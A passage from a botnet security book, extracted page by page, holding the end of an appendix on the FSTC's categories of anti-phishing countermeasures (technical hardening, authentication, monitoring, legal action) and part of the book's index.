Enhancements to Web browser applications\n(including plugins) that help to eliminate vulnerabilities or aid users in avoiding sites that might be used by phishers to cap-\nture user financial information.Techniques that prevent browsers from being used as vectors for malware deployment, that\nmake it difficult to hide key browser visual indicators, that prevent or alert users to various obfuscations by phishers, and that\nimprove authentication of users to sites and sites to users are examples of desirable features.\nB.1.1.9 Security Enhanced (less vulnerable) IM/IRC/P2P Client Applications\nEnhancements to Instant Message, Internet Chat, and P2P client applications that eliminate vulnerabilities or help prevent\nabuse by phishers, including alerts to users of potential abuses.\nB.1.1.10 Add-on and Built-in Security Augmentation Devices for PCs Hardware add-on\nperipheral devices or built-in hardware mechanisms that can be used to strengthen security of PC operating systems and\napplications. Examples include cryptographic processors, crypto tokens, biometric scanners, secure key vaults, and secure\nstorage devices.\nB.1.2 Category II: Hardening Mobile Devices Phishing attacks have already been launched against\nusers of mobile phones and PDAs, and it appears likely that such mobile devices will increasingly serve as attack vectors for\nphishing, and other types of fraud.As with PCs, mobile devices could represent the “weak link,” especially given the suscepti-\nbility of end users to social engineering attacks.\nB.1.2.1 Security Hardening for Mobile Platforms Any techniques or approaches that can be used to\nstrengthen the security of mobile computing platforms, such as cell phones and PDAs. Potential counter measures can be as\nextensive as for PCs, even though mobile platform vulnerabilities and exploits are not as commonplace today.\nB.1.2.2 Security Enhanced (less vulnerable) Mobile Applications Security enhancements to\nmobile client applications—such as email, browser, instant messaging (SMS) and file (e.g., photo) swapping—that can help to\nprevent or defend against abuses by phishers.\nB.1.3 Category III: Hardening Systems Used in Financial Transactions The systems used\nin financial transactions and operated by financial institutions, merchants, and businesses contain vulnerabilities that can be\nexploited, but they also represent opportunities to improve overall transaction security as well as detection of potential abuse\nor fraud.\nB.1.3.1 Effective Traffic and Transaction Analysis for On-Line Financial Systems\nTools for analyzing, not just transactional data, but ancillary information (e.g., log files, network traffic) in ways that can iden-\ntify potential phisher activity or actual fraud/abuse.\nB.1.3.2 Security Enhancements for FI Servers & Systems Measures that can be used to enhance\nsecurity of systems used by FIs to provide financial services, including measures that reduce/mitigate vulnerabilities or\nimprove the level of security offered as part of the services.\nB.1.3.3 Security Enhancements for Merchant and Business eCommerce Systems\nMeasures that can be used to enhance security of systems used by merchants and businesses to conduct eCommerce transac-\ntions, including measures that reduce/mitigate vulnerabilities or improve the level of security employed in conducting trans-\nactions.\nB.1.3.4 Enhanced Database Protection Measures Measures that can be deployed to reduce vulnera-\nbilities in databases that store sensitive financial information, including stronger access control, limits on bulk extracts, and\nstronger protections for confidentiality at the record and item level.\nB.1.3.5 Detection/Reporting of Vulnerabilities in Client Access Systems Techniques\nthat can be used to detect client access from compromised PCs or improperly configured or maintained PC software with\noptions to disallow or limit use of financial services.Also, options allowing end users to test their PCs using FI-approved ser-\nvices before conducting sensitive financial transactions.\nB.1.4 Category IV: Hardening “What’s in the Cloud” The Internet and related services comprise\nan ever-growing “cloud” that provides much of the infrastructure on which online financial services and eCommerce are\nbased.The many vulnerabilities in this cloud have been widely exploited by phishers and other cyber criminals and miscre-\nants. Solutions that eliminate/mitigate vulnerabilities or enhance security are vital to addressing the phishing problems.\nwww.syngress.com\n454\nAppendix A • FSTC Phishing Solutions Categories\n" }, { "page_number": 473, "text": "B.1.4.1 DNS Hardening Measures that can be employed to reduce vulnerabilities in resolving domain names or\nprevent name spoofing along with measures that can strengthen DNS security so that it can serve as a foundation for estab-\nlishing greater trust in Internet services.\nB.1.4.2 eMail Infrastructure Hardening eMail infrastructure enhancements that reduce the potential for\nabuse, including spam as well as strengthening email security so that correspondence can be more trusted.\nB.1.4.3 IM & IRC Infrastructure Hardening Infrastructure improvements that eliminate vulnerabilities\nand reduce likelihood that these communications channels can serve as vectors for phishing attacks.\nB.1.4.4 P2P Service Hardening \nRefinements to P2P (peer-to-peer) services (e.g., file swapping, interactive gaming, collaborative systems) that reduce potential\nvulnerabilities and limit this channel as a vector for phishing attacks.\nB.1.4.5 Cell Phone & PDA Service Hardening Measures to harden Internet or extranet services used\nin supporting communications with mobile users via cell phones or PDAs with particular emphasis on limiting the ability of\nphishers to use these channels as vectors for attacking end users.\nB.1.4.6 Anti-Spoofing Measures Any measures that can be used within the Internet to either limit the ability\nof phishers to masquerade as legitimate authorities or to increase the options for end users to detect misrepresentations or\nimpostors.\nB.1.4.7 Traffic/Content Filtering within the Cloud Techniques that can be used to filter out, or at\nleast flag, traffic or content that has a high probability of being associated with phishing attacks. Included in this category are\nthe tools for building and maintaining both black lists of Internet sources involved in phishing and white lists of legitimate\nsources.\nB.1.4.8 Effective Internet Surveillance/Monitoring Tools Any tools or techniques that can be\nused to observe any phase of the phishing life cycle in ways that support proactive defenses, rapid response reactions, and gath-\nering of evidence for prosecution of perpetrators.\nB.1.5 Category V: Strengthening On-Line Security Measures In addition to the many vulner-\nabilities in PCs, systems, and infrastructure, phishers also take advantage of traditionally weak online security measures, such as\nuserid/password (a.k.a., single-factor) authentication. Since the technologies exist for strengthening online security for finan-\ncial transactions, it is likely that stronger measures will play an important role in countering the phishing threat.\nB.1.5.1 PKI and Certificate Issuing/Management Services Approaches for harnessing traditional\nand new PKI services along with digital certificates as elements in strengthening online security measures and establishing new\nframeworks for increasing confidence.\nB.1.5.2 Authentication Management Systems Systems that can be used to manage enrollment in, and\nuse of, strong authentication measures, especially multi-factor authentication.\nB.1.5.3 Multi-Party Strong Authentication Services Techniques for allowing multiple parties to\nauthenticate each other are of great interest in financial transactions where it is common to have financial institutions partici-\npating along with merchants and consumers, businesses, buyers and sellers, traders, or even government agencies.\nB.1.5.4 Multi-Factor Authentication Services Any solution that offers at least two or more authentica-\ntion factors in a manner that truly strengthens authentication measures.\nB.1.5.5 End-User Cryptographic & “2nd Authentication Factor” Devices End-user\ndevices that can be used to provide at least one additional authentication factor—e.g., crypto tokens, one-time PIN genera-\ntors, and biometric scanners.\nB.1.5.6 Federated Identity Management (SSO) Services Services that can extend authentication\nacross organizational boundaries, or allow one organization to leverage authentication procedures established for subjects (e.g.,\nconsumers, businesses) by another organization.\nB.1.5.7 Support for Alternative Authentication Relationships New approaches that shift the\nauthentication relationships to more closely align with natural trust relationships, for example shifting the burden of authenti-\ncating a consumer from a merchant to the consumer’s financial \ninstitution.\nB.1.5.8 Authentication via User Access & Behavior Profiles Techniques that can be used to\nincrease confidence that an end user is acting in a normal manner and using financial services in a way that is consistent with\ntheir established profile of behavior. Such techniques might look at all observable aspects of user access or transactional\nbehavior, and raise cautionary flags when aberrations exceed some threshold associated with the user’s profile.\nwww.syngress.com\nFSTC Phishing Solutions Categories • Appendix A\n455\n" }, { "page_number": 474, "text": "B.1.5.9 Strong Authorization for Financial Transactions Measures that can be employed to bind\nstrong authorizations with financial transactions (e.g., digital signatures) in ways that make it difficult for impostors to initiate\nfraudulent financial transactions.\nB.1.5.10 Secure eMail Services Any techniques that can be used to increase confidence in email correspon-\ndence, such as source authentication, authorizations, or confidentiality.\nB.1.5.11 eMail Proof-of-Delivery/Receipt Services Additional services that can be used to inde-\npendently assure email correspondents that a specific message was delivered by the indicated sender or was received by the\ndesignated recipient. Included are services that depend on neutral third parties that can witness the delivery and receipt of\nemail correspondence (e.g., postmarks, registered email services) \nB.1.5.12 Authenticating FIs to End Users Any facilities that can be used by end users to authenticate\nthat they are truly communicating with their financial institution (and not an impostor), especially authentication schemes\nthat are easily understood and recognizable by average consumers.\nB.2 Financial Industry Technical Counter-Phishing Measures These categories of solutions are\neither specific to Financial Institutions, or are available as options that can be employed by an individual organization. In this\nregard, most of these solution options tend to be tactical in nature.\nB.2.1 Category VI: Counter Measures Associated with Financial Services Some counter\nmeasures may be unique to the financial industry, or at least leverage the role of financial institutions in conducting financial\ntransactions.After all, fraud and abuse are familiar problems to the financial industry, and have been addressed using an array\nof industry measures.The financial industry also has its own infrastructure and data resources that can be leveraged to create\nnew opportunities for combating phishing on several fronts.\nB.2.1.1 Improved Ability to Share Relevant Data within Financial Industry New facil-\nities or services that would allow the financial industry to better share information that can be used to counter phishing\nthreats. Included might be facilities for broadcasting information about new phishing attacks, or ways for the industry to\nleverage existing credit or fraud databases to reduce losses and impact on customers.\nB.2.1.2 Improved Ability to Share Relevant Data across Industry Boundaries New\nfacilities or services that can leverage information accumulated by other industries, such as the communications or retail\nindustries, or that may allow information from financial institutions to be made available outside of the financial industry for\npurposes of combating phishing. Regulatory compliance will be an important feature of any solution that shares information\nacross industry boundaries.\nB.2.1.3 Improved Ability to Share Relevant Data with Law Enforcement New facilities\nor services that allow law enforcement agencies to work more effectively with financial institutions through improved sharing\nof information, including forensics, fraud data, and complaints filed by citizens/customers.\nB.2.1.4 Data Mining for Phishing-Related Information/Evidence Tools or techniques that\ncan pull useful evidence of, and information about, phishing activities from the mountain of data available from a broad array\nof sources.\nB.2.1.5 Shutdown/Disabling of Phishing-Related Sites Services that can effectively shutdown or\ndisable any site found to be involved in phishing activities. Such services may be defensive or preventative depending on\nwhich stage of the phishing life cycle they address.\nB.2.1.6 Hardening of Credit-Reporting Infrastructure Measures that reduce exposures through\nthe credit-reporting infrastructure, including abuses that allow unauthorized access to credit data or that facilitate misrepresen-\ntations of “identity” in applications for credit.\nB.2.1.7 Hardening of Payments Infrastructure & Transactions New measures that can be used\nto harden the payments infrastructure against fraud based on use of account credentials stolen through phishing attacks.\nExamples include multifactor authentication, stronger authorization, one-time credit/debit card numbers, and blinding of\naccount numbers in transactions.\nB.2.1.8 Refinements to Risk Management Approaches Enhancements to risk analysis and man-\nagement approaches that allow financial institutions to more rapidly and effectively recognize new sources of risk from\nphishing attacks, and take steps to mitigate increases in risk.\nB.2.2 Category Vii: Monitoring and Surveillance Measures It is important to note that\nphishing is, by its very nature, an observable act, even if the victims are not themselves aware that they are being phished. It\nalso leaves a lot of tracks and generates its own trail of events that can be traced. Consequently, improved techniques for mon-\nitoring the sorts of activities that indicate potential phishing coupled with effective surveillance and collection of evidentiary\ninformation can represent useful measures for addressing the phishing threat.\nwww.syngress.com\n456\nAppendix A • FSTC Phishing Solutions Categories\n" }, { "page_number": 475, "text": "B.2.2.1 Internet Surveillance for Abuses Targeting Financial Industry Tools or services for\nsurveying information gleaned from actual Internet usage patterns to identify phishing activities or any suspicious behavior\nthat indicates potential attacks targeting financial institutions or their customers.\nB.2.2.2 Brand/Trademark/Copyright Infringement Detection/Reporting Services that\nsearch the Internet and related databases (e.g., registries) for any activities or postings that might indicate infringement of\nbrands, trademarks or copyrights, as such abuses are often elements of a phishing attack.\nB.2.2.3 Real-time Detection/Reporting of Phishing Attacks Tools or services that can detect\nin real time the actual deployment of phishing machinery or flag new attacks the moment they are launched.\nB.2.2.4 Monitoring/Surveillance of Cyber-Criminal Activities Investigation services that pro-\nvide surveillance of the larger criminal enterprise or marketplace in which phishers operate, including communications\nbetween providers of various services used to launch phishing attacks (e.g., spammers), fence stolen credentials, or launder\nstolen money.\nB.2.2.5 Industry-wide Shared Monitoring/Surveillance Services Facilities that allow broad\nindustry sharing of common monitoring/surveillance services in ways that distribute costs, improve effectiveness, expand\nscope, or extend across jurisdictional boundaries.\nB.2.3 Category VIII: Proactive Measures Since proactive measures can be considerably more cost-effec-\ntive than reactive measures, there are opportunities for the financial industry to leverage its collective resources in ways that\ncould improve the overall cost-effectiveness of phishing counter measures.\nB.2.3.1 Proactive Threat Modeling Modeling techniques that can be used to project how phishing schemes\nare likely to evolve and what new targets will likely be attacked.\nB.2.3.2 Future-Threat Prediction & Analysis Proactive measures to anticipate what new techniques\nmight be used by phishers and analysis of how to counter such threats before they emerge.\nB.2.3.3 Industry Self-Testing and Audit Industry audits or tests that can be used to detect vulnerabilities\nto certain phishing attacks or poor practices that may result in unnecessary risks.\nB.3 Non-Technical Measures to Address Phishing Some options available to the Financial Industry\ninvolve non-technical measures. Both tactical and strategic options are included in this set of categories. In many cases, effec-\ntive strategies will incorporate combinations of technical and non-technical measures to counteract the phishing threats.\nB.3.1 Category IX: Hardening the User An uneducated, inexperienced user will always be a source of\nvulnerabilities in any system that they participate in—i.e., users are potential marks for phishers.As long as users remain suscep-\ntible to “social engineering” attacks, they will be likely victims and also sources of vulnerabilities that can comprise even the\nmost secure systems. It is also worth noting that concern about user vulnerabilities extends to employees of merchants, infras-\ntructure providers and financial services firms. Phishing attacks can target a system administrator in much the same manner\nthat individual consumers are targeted.\nB.3.1.1 End-User Education to Reduce Susceptibility to Exploits/Attacks Any infor-\nmation campaigns or educational materials that can inform end users of the risks of being phished, including measures that\ncommunicate effective messages to users as they conduct their business online.\nB.3.1.2 Redefining the Trust Relationships Any means by which financial institutions and other\nresponsible parties can strengthen their trust relationships with end users (e.g., customers, consumers) can help reduce the sus-\nceptibility of users to social engineering attacks.\nB.3.1.3 Engaging End-Users in Countering Phishing Programs that harness the eyes, ears, and fin-\ngers of users in detecting and reporting new phishing attacks, or whole new phishing schemes.\nB.3.1.4 White-Hat Operations Involving End-Users Any approaches that engage “good guys” in\nroles that mimic phishers to ascertain end-user susceptibility to phishing attacks, or to thwart actual phishing activities.\nB.3.2 Category X: Hardening the Institution Phishing, by its very nature, exploits the trust that cus-\ntomers have for their financial institutions and other organizations they conduct business with. In many cases, phishers mimic\nthe behaviors of legitimate enterprises or they take advantage of ineffective responses from enterprises confronting phishing\nthreats. Consequently, many firms and organizations will have to change their behaviors or learn how to respond to these new\nassaults on their reputations.\nB.3.2.1 Training Customer Service Staff Programs designed to enhance the effectiveness of customer ser-\nvice organizations in responding to customers who have been targeted by phishers.\nwww.syngress.com\nFSTC Phishing Solutions Categories • Appendix A\n457\n" }, { "page_number": 476, "text": "B.3.2.2 Consistent Policies for Customer Communications Improvements to the way that\norganizations communicate messages to customers, including refinements of style, form, content, and choice of medium.\nB.3.2.3 Proactive Measures to Improve Customer Confidence Any measure that can proac-\ntively improve customer confidence in their financial institution and online financial transactions, including notifications of\nsuspect activities against the customer’s account or requests for their credit ratings.\nB.3.3 Category XI: Legal Actions To the extent that phishing represents criminal activity, but using appar-\nently legitimate means, legal actions will be required to block phishing activities and pursue prosecution and conviction of\nthe perpetrators.\nB.3.3.1 Cease & Desist Notices Any notices or orders that can authorize shutdown of phishing systems or\nprevent phishing practices.\nB.3.3.2 Search Warrants & Wiretap Orders Legal authorizations to conduct focused investigations of\nalleged criminal phishing activities, including warrants to search for evidence, or orders to allow monitoring of the private\ncommunications or correspondence of phishers.\nB.3.3.3 Capture/Confiscation of Evidence Legal authorizations to capture evidentiary data (e.g.,\ndatabases of stolen account credentials) or to confiscate evidence of criminal phishing activities.A complicating factor with\ngaining such authorizations is that phishers often leverage systems owned by others (e.g.,“zombie” PCs).\nB.3.3.4 Expedited Legal Actions Procedures for expediting legal actions that were originally intended to\ndeal with criminal activities involving physical resources and real-world interactions, but that must now deal with virtual\nresources and cyber interactions.\nB.3.3.5 Cross-Border Legal Actions Procedures and services to facilitate legal actions that cross-jurisdic-\ntional boundaries, especially international borders.\nB.3.3.6 Mapping of Relevant Laws/Regulations by Jurisdiction Documentation and tools\nfor mapping requirements to pursue phishers on legal fronts into the myriad jurisdictional contexts that exist on a global\nbasis.\nB.3.4 Category XII: Law Enforcement and Prosecution Successful prosecutions of phishers are\nessential to stopping their illegal activities and also as a deterrent to other current or new phishers. In reality, the relative\nimmunity phishers enjoy from prosecution is one of the factors contributing to the growth of phishing, including the conver-\nsion of criminals involved with other forms of crime into phishers.\nB.3.4.1 Capture of Cyber-Forensics Tools and techniques for capturing evidence of criminal activities that\nexists only in “cyberspace.”Also, the means for interpreting evidence to track down the actual perpetrators and tie them to\ntheir crimes.\nB.3.4.2 Takedown Actions Actions by law enforcement agents to shutdown phishing operations, seize hard evi-\ndence, and arrest alleged perpetrators.\nB.3.4.3 Efficient Processes for Notifying Law Enforcement New techniques and services for\nproviding notification to law enforcement of phishing attacks and victim claims in ways that centralize reporting to all juris-\ndictions and agencies involved in fighting phishing-related crimes.\nB.3.4.4 Improved Data Sharing Across Jurisdictional Boundaries Tools and services for\nimproving the ability of law enforcement agencies to share information amongst each other and across jurisdictional bound-\naries on a global basis.\nB.3.5 Category XIII: Legislation or Regulations In some cases, existing laws and regulations may\nnot adequately address phishing activities, especially on the international front where many phishers operate from countries\nthat have little experience legally with cyber crimes.There may also be a need for regulations that enforce new disciplines on\nthe financial industry to shore up confidence in the overall system and to assure that all financial institutions are responding\nto the threat in responsible ways.\nB.3.5.1 Proactive Recommendations to Regulatory Bodies Proactive, industry-developed rec-\nommendations to regulatory bodies (including some outside of the financial industry) can be used to steer regulatory\nresponses in a coordinated manner and avoid reactionary regulations driven by hyped concerns.\nB.3.5.2 Establish Cogent Lobbying Position for New Legislation Efforts to define the\nappropriate laws needed domestically and in countries around the world to address phishing activities can serve as the foun-\ndation for a coordinated industry lobbying effort that moves on many fronts\nwww.syngress.com\n458\nAppendix A • FSTC Phishing Solutions Categories\n" }, { "page_number": 477, "text": "459\nIndex\n180Solutions civil law suit, 17, 50, 61\nA\nAAS (Automated Analysis Suite),\n350–351, 389\nAbad, Christopher, 63, 424\nabuse\ne-mail, 134–139, 208\nspam and, 139–140\naccess\nbrute-force, 34–36\nlogin, restricting, 107\naccess control lists (ACLs), 140\nadaptive learning, 151\nadministrator accounts, securing,\n426–428\nAdsense scam, 50–51\nadware\nSee also botnets, malware\ninstallation, Clicks4Hire schemes,\n63–69\nAgobot, 10–11, 17, 52, 111–118,\n129–131, 257–258\nagreements, confidentiality, 404–407\naliases\nAgobot, 112\nMytob bot, 124–125\nRBot, 105\nSDBot, 99\nSpybot, 118–119\nAlliance Against IP Theft,The, 22\nAltiris, 206\nanalysis\nSee also reports, reporting\ncode vs. behavior, 346\nheuristic, intrusion detection,\n165–168\nAncheta, Jeanson James, 18, 49\nanomaly detection\ne-mail, with ourmon, 275–278,\n282\nprinciples of, 157, 252–254, 280\nTCP (ourmon), 255–272, 281\nUDP (ourmon), 272–275, 282\nanti-antivirus (Anti-A/V) tool, 37\nanti-spam, 438–444\nAntiHookExec, 183\nantivirus (A/V)\nand anti-antivirus (Anti-A/V)\ntool, 37\ninformational Web sites, 398–399\nlog analysis, 198–207\nMicrosoft reward program, 27\nprograms shutting off, 74\nand security, 161–165\nsignatures, 162–163\nsoftware, 214\nvendors and botnets, 12\narchitecture\nCWSandbox, 352–353\nourmon tool, 227–231, 240\nArhiveus ransomware Trojan, 69\nARP spoofing, 152, 153\nArt of Computer Virus Research and\nDefense,The (Szor), 167\nATMs and phishing, 63\nattack signatures\nSee also signatures\nHIDS and, 158\nattacks\nSee also specific attack\npassword guessing, brute-force\naccess, 34–36\nsimple botnet, 18–19\nSPIM (Spam for Instant\nMessaging), 10, 16, 32\ntracing back to botherders,\n392–398\nagainst unpatched vulnerabilities,\n32–33\nAucsmith, Dave, 423\nauthentication, and weak passwords,\n108–110\nAutomated Analysis Suite (AAS),\n350–351, 389\nautomated packet capture (ourmon),\n314–324, 339–340\nAutoRuns tool, 183, 203–204, 369\nAvast, 168\nB\nbackdoors\nleft by Trojans, 33–34\nRBot exploits, 111\nSDBots and, 9–10\nBagle mass-mailing virus, 51\nBaradley, Jordan, 16\nBASE analysis tool, 169\nBaylor, Ken, 5\nbehavior analysis, 346, 348\nBellovin, Steve, 294\nBerkeley Packet Filter (BPF), 296\nBig Yellow Worm, 203\nbinary updates, how bots get,\n376–378\nBitTorrent, 262, 270\nblack holes, 177\nblacklists for spam weeding (DNS),\n140\nBlaster Worm, 21–22, 27, 91\nBleedingsnort resource, 170\nblocking\nbotnet-related traffic, 418\nvulnerable ports, 433\nBlue Security anti-spam company,\n438–444\nborder firewalls, 152–153\nbot servers and botnets, 30\nbotherders\nmotivations of, 75\nand ransomware, 60–62, 69\ntracing attacks back to, 392–398\nbotnet C&C described, 95\nbotnet clients\nand botnet servers, 227\nIRC, detecting, 298–303\nrallying, securing, 37–41\nwaiting for orders, retrieving\npayload, 41–42\nbotnet detection\nabuse e-mail, 134–139\ndarknets, honeypots, snares,\n176–179\nforensic techniques and tools for,\n179–207, 212–213\nwith ourmon. See ourmon tool\nbotnet-spam\neconomics of, 62–69\nphishing and, 51–55\nbotnets\nSee also specific botnet\nalternative C&Cs, 78–79\nclients. See botnet clients\ncode-based and character-based\nfamilies of, 11–12\ncombating, 418–429\ncommon, 98, 128\ncomponents of, 15–16\nconcepts and things that affect,\n446–447\ndescribed, 3–4, 25, 30–31, 70–72\ndetecting. See botnet detection\ndetermining if computers are part\nof, 73–75\necho-based, 83–86\neconomics of spam, phishing,\n62–69, 72–73\nfunctions and impact of, 42–69\ngetting binary updates, 376–378\ninstallation methods, 369–370\nlife cycle of, 31–36\nlost hosts, 330–331\nmalicious operations performed\nby, 378–383\nobtaining information from,\n346–348\nand P2P, 452\nreporting, 436–438, 443–444\nreporting abuse, 138–139\nresponding to, reporting, 434–438\nsimple attack, 18–19\nthreat of, 2–4, 24, 26–27\nviewing information on known,\n399–403\nBPF (Berkeley Packet Filter), 296\nBraverman, Matthew, 14\nbroadcast domains described, 151\n" }, { "page_number": 478, "text": "460\nIndex\nBrock University, 408\nBrown, Chris, 5\nBurnett, Mark, 188\nC\nCain and Abel tool, 43–44\nCain collection files, 44–46\nCAN-SPAM Act\nAncheta prosecution, 49\nOperation Cyberslam, 18, 20\nCanavan, John, 7\nchannel names, hackers and, 297\nchannels\ncontrol. See control channels\nand IRC, 295\nrating evil, 224\nCIFS (Microsoft File Share), 150\nCisco\nnetflow tools, 147–148\nrouter vulnerabilities, 10, 33\nswitch RSPAN feature, 213\nswitches, port security, 154\nClaburn,Thomas, 423\nClark,Anthony Scott, 20\nclick scams, 50–51\nClicks4Hire scam, 49, 63–69\nclient bot mesh, 225\nclients, botnet. See botnet clients\ncode\nanalysis, 346\nmalicious, and botnets, 31–32\nCommand and Control (C&C)\nservers\nalternative, 78–79\nalternative control channels, 82–92\nand botnet clients, 37, 41\nbotnet, report on, 436–437\ndetermining how and which are\ncontacted, 375–376\nand DNS, 81–82, 93–94\nhistoric rise of, 79–81\nremoving, 2–3\nreporting results, 61–62\ncommand-based bots, 84–85\ncomputer forensics, 179\nComputer Fraud Abuse Act (CAN-\nSPAM Act), 18, 20, 49\ncomputers\nchecking open ports of, 103\ndetecting virtual machines, 351–352\ndetermining if part of botnet,\n73–75\neffective security practices, 430–434\nconfidentiality agreements, 404–407,\n413\nconnect & forget bots, 84\ncontrol channels, 82–92\ncontrols for operational environment,\n160–165\nconverting XML to HTML\ndocuments, 359, 368\nCPU (central processing unit)\ndual-core, 335, 342\nrouter utilization, 144\nCricket, network monitoring with,\n141, 144–145\ncrontab, 230, 237\ncwmonitorl.dll, 356–359\nCWSandbox\nanalysis report examination,\n359–368\nanalysis report interpretation,\n368–369\napplication described, 198,\n348–352, 385–389\ncase studies of, 383–385\ncomponents of, 352–359\ndetermining how and which C&C\nservers are contacted, 375–376\ndiscovering how new hosts are\ninfected, 371–375\nobtaining copy, source code of, 390\ncwsandbox.exe, 354–356\nCymru Darknet project, 177\nD\ndarknets for bot, netbot detection,\n176–179, 237, 444–445\ndata capture with Spybot, 122–123\ndata mining described, 61\nDDoS (distributed denial of service)\nattacks\nAncheta’s zombies, 18\non Blue Security, 441\nbotnets and, 19, 46–49\ndescribed, 5–6, 20\nourmon detection, 221–222,\n267–269\npacket loss during, 343\nDDoSing, 17\ndecompilers, 396\nDeepFreeze, 350–351\ndenial-of-service attacks. See DoS\nattacks\ndetecting\ne-mail anomalies with ourmon,\n275–278\nIRC botnet servers, 304–308, 311\nIRC clilent botnets, 298–303, 310\nvirtual machines, 351–352\ndetection\nanomaly. See anomaly detection\nbotnet. See botnet detection\nintegrity, 166\nintrusion. See intrusion detection\nDHCP attacks, 153\ndigital forensics, 179, 180–181\nDirectRevenue, 64–69\ndiscussion groups, security\ninformation, 402–403\ndissemblers, 395–398\ndistributed denial of service attacks.\nSee DDoS attacks\ndistribution of illegal intellectual\nproperty, 55–60\nDJ Java Decompiler, 396\nDLL (dynamic link library), 352\nDNS (domain name service)\n-based botnets, 89–92\nand C&C technology, 81–82, 93–94\ndocuments, converting XML to\nHTML, 359\nDollar-Revenue, 63–64\ndomain names and DNS, 81–82\nDoS (denial of service) attacks\nand NIDS, 156\nand packet size, 323–324\nand SNMP tools, 146\nDr. Watson analytics, 204\ndrop zones and FTP-based C&Cs,\n87–89\ndrwtsn32.log, 204\ndual-core CPUs, 335, 342\nDumador bot, 87\ndynamic ARP inspection, 154\ndynamic DNS, 90\ndynamic link library (DLL), 352\nE\ne-mail\nabuse, 134–139, 208\nanomalies detected with ourmon,\n275–278, 282\nattachments, and botnets, 31\nMytob naming, 126–127\nspam and, 139–140\neBay, botnet attacks on, 20\necho-based botnets, 83–84\nEchouafni, Jay, 18\neconomics of botnets, 71–73, 93\nEdelman, Ben, 69\neducation about botnets, 420\nEDUCAUSE organization, 400–401\neffective security practices, 430–434\nElton, Norman, 2\nemail syn port reports (ourmon),\n275–278\nenterprise\nantivirus solutions, 161–165\neffective security practices, 432–434\nEssebar, Farid, 21\nevent logs\nourmon, 324–329, 340\nusing for botnet detection, 184–192\nEvron, Gadi, 23\nexploitation, botnet function, 31\nF\nFantibag Trojan, 51\nfastflux DNS, 90–92\nFile Share (Microsoft) system\nvulnerability, 213\nfirewalls\nSee also specific product\nand logging, 148–150\nrecommended usage, 431\nusing logs for botnet detection,\n192–198\nflow-dscan, 147\n" }, { "page_number": 479, "text": "Index\n461\nforensic techniques, tools for botnet\ndetection, 179–207, 212–213\nFreeBSD, 235, 236, 296, 334, 337, 343\nFTP-based C&Cs, and drop zones,\n87–89\nG\ngames, stolen CD keys, and Agobot,\n115–116\nGaobot, 10–11, 111, 131\nGembe,Axel, 17\nGimmyCash, 63–64\nGiuseppini, Gabriele, 188\nGM IRC bot, 7\nGoebbels, Dr. Joseph, 29\nGoogle’s Adsense program, 50–51, 69\ngraphs\nRRDtool, 242\nstripcharts (ourmon), 220–221\nUDP port, 246\nworm, 222–223, 246, 267–269\nGriesser,Andreas, 423\nGroup Policy (Windows XP), 431\nGT (Global Threat) Bot, 8–9, 16\nH\nHackman Dissembler, 396–397\nhalting problem, software engineering,\n425\nHarley, Lee, 167\nHarris, Jayson, 423–424\nHarvey,Andrew, 16\nHaxdoor bot, 87\nhelp for ourmon tool, 248\nHeuristic Analysis: Detecting Unknown\nViruses (Harley), 167\nhidden32.exe tool, 38\nHideUser2, 38\nHIDS (host-based intrusion detection\nsystems), 156, 157\nHogwash, 160\nHoneyd, 178\nhoneynets, 178–179, 444–445\nhoneypots for bot, botnet detection,\n178–179, 237, 452\nhoneywalls, 178\nhost-based intrusion detection systems\n(HIDS), 156, 157\nhost capture (ourmon), 227\nhost forensics, 180, 215\nhosts\ncleaning infected, 434–435\ndiscovering how infected, 371–375\nlost botnet, 330–331\nvirus detection on, 160–165\nHosts file, botnet modification, 132\nHTML documents, converting XML\nto, 359, 368\nI\nICMP-controlled botnets, 92\nICMP errors, 274–275\nIM. See Instant Messaging\nIMS (Internet Motion Sensor),\n177–178\ninfrastructure, network. See network\ninfrastructure\ninline code overwriting, 357\ninstalling\nadware, click4hire by botnet, 49\nourmon tool, 231–238, 241\nprograms without IT department,\n427\nSnort intrusion detection, 169\nInstant Messaging (IM)\nC&Cs, 86–87\nspam attacks (SPIM), 10\nInstitute of Computer Forensic\nProfessionals, 403\nintegrity detection, 166\nintellectual property, storage,\ndistribution of stolen, illegal,\n55–60\nintelligence resources\nconfidentiality agreements,\n404–407, 413\nintroduction to, 392, 411\nmembership organizations,\nqualifications, 403–404\nresources, Web sites, 398–403\nrole in aggregating effective law\nenforcement, 409–410\ntracing attacks back to botherders,\n392–398\nwhat to do with information,\n407–409\nInternet, intelligence sources on, 414\nInternet Motion Sensor (IMS),\n177–178\nInternet Relay Chat. See IRC\ninterprocess communication (IPC),\n357\nintrusion detection\ngenerally, 155–160, 210–212\nheuristic analysis, 165–168\nSnort, 168–172\nTripwire, 172–176\nvirus detection on hosts, 160–165\nintrusion detection systems (IDSes),\n156, 432\nIP address source spoofing, 257–258\nIP Source Guard (Cisco), 154\nIRC botnet servers, detecting,\n304–308, 311\nIRC client botnets, detecting,\n298–303, 310\nIRC (Internet Relay Chat)\nand alternative C&Cs, 78–79\nand bot servers, 30\nbotnet attacks, 5\nand Command and Control (C&C)\nservers, 75\ninvention of, 6\nourmon information detection, 219\nport vulnerability, 213\nprotocol described, 286–290, 309\nIRC messages, sniffing, 329–333, 341\nIRC reports (ourmon), 224, 290–298,\n310\nircfr sniffing tool, 333\nIsass.exploited.org, 137\nJ\nJaynes, Jeremy, 62\njerry tool, 351\nJOIN IRC protocol message, 289\nK\nKarstnet, 444\nKavanagh, Rick, 16\nKazaa, 237\nKeel, Matt, 2\nkernel device drivers, 370\nkernel mode hooking, 358\nkeystroke logging\ncrime and, 22\nand FTP botnet channel, 87–89\nwith Spybot, 122–123\nKim, Gene, 173\nL\nL3D, and IRC bot servers, 311–312\nLanDesk Manager, 206\nlaw enforcement\nagainst botherders, 63–64\nbotnet prosecutions, 17–22\nand botnets, 24–25\ncomputer forensics, 181–184\nconfidentiality agreements, 404–407\ndigital forensics, 179–181\nissues related to, 423–425\nreporting botnets, 443–444\nrole of intelligence resources in\neffective, 409–410\ntracking bot servers, 30–31\nLayer 2 switches, 151–155, 214\nLayer 7 switches, 160, 214\nlegislation, CAN-SPAM Act, 18, 20,\n49\nLevy, Steven, 423\nlibpcap library, 228, 235\nlife cycle of botnet, 31–36, 71\nLindahl, Greg, 7\nLinux\nantivirus software for, 215\nconfiguring ourmon, 235\nvs. FreeBSD, 343\nlocking\nlivelock, 335\nMAC addresses down, 154\nLog Parser (Microsoft), 186–189\nlogging\nSee also logs\nevent logs, 184–192\nfirewalls and, 148–150\nLog Parser output, 188–190\nourmon system, 243\nlogins\nand event logs, 184–192\n" }, { "page_number": 